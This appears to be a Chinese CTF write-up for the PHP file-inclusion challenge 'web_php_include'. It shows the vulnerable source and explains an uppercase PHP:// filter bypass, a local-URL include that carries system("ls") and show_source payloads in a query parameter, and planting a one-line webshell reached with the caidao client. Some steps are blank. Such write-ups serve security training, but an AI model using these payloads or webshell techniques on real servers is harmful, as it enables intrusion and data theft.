ctf web_include
web_php_include题解
先上源码
<?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page']; while (strstr($page, "php://")) { $page=str_replace("php://", "", $page);//把page变量里的所有php://替换为空 } include($page); ?>
这题有很多种解法
1.一种常规解法是采用文件包含的形式
1.我们发现strstr函数对大小写敏感,我们只要能够绕过strstr函数就能够执行我们的输出流
所以
把php://改为PHP://绕过while使得条件不成立,
执行
得到
执行
得到
2.我们也可以采用ssrf的方法让目标主机访问自己的内网
http://111.200.241.244:57527/?page=http://127.0.0.1/index.php?hello=<?system("ls");?>
http://111.200.241.244:57527/?page=http://127.0.0.1/index.php/?hello=<?show_source("fl4gisisish3r3.php");?>
3.我们同样也可以通过御剑扫描直接访问后台来获取flag
写入一句话木马并连接caidao
我们这里可以知道一般数据库写入文件都是写入在磁盘的根目录上,(相对路径与绝对路径的区别?)所以我们可以直接写入tmp文件,然后让page变量来访问这个文件,并被include()函数包含在index.php中然后我们就可以用caidao来连接
“You cannot improve your past, but you can improve your future. Once time is wasted, life is wasted.”
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通